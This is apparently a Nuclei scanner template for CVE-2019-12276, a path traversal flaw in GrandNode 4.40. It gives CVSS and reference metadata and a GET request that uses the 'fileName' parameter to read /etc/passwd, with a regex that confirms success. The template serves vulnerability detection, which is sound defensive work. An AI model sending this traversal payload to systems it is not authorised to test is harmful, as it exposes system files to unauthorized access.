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id : CVE-2019-12276
info :
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name : GrandNode 4.40 - Local File Inclusion
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author : daffainfo
severity : high
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description : |
GrandNode 4.40 is susceptible to local file inclusion in Controllers/LetsEncryptController.cs, which allows remote unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests.
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impact : |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the entire system.
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remediation : |
A patch for this issue was made on 2019-05-30 in GrandNode 4.40.
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reference :
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- https://security401.com/grandnode-path-traversal/
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- https://grandnode.com
- https://github.com/grandnode/grandnode
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- https://nvd.nist.gov/vuln/detail/CVE-2019-12276
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- http://packetstormsecurity.com/files/153373/GrandNode-4.40-Path-Traversal-File-Download.html
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classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score : 7.5
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cve-id : CVE-2019-12276
cwe-id : CWE-22
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epss-score : 0.95661
epss-percentile : 0.99411
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cpe : cpe:2.3:a:grandnode:grandnode:4.40:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : grandnode
product : grandnode
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tags : cve,cve2019,packetstorm,lfi,grandnode
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http :
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- method : GET
path :
- "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd"
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headers :
Connection : close
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matchers-condition : and
matchers :
- type : regex
regex :
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- "root:.*:0:0:"
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- type : status
status :
- 200
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# digest: 4a0a00473045022100ed5135175a98f71186c5dfe65254ca6307c8c54583b3ef526433db71574580c4022041e92690d7525a07a6120de8ae4ea7462a9868f3772edaf6fe7c8e5b048afd0a:922c64590222798bb761d5b6d8e72950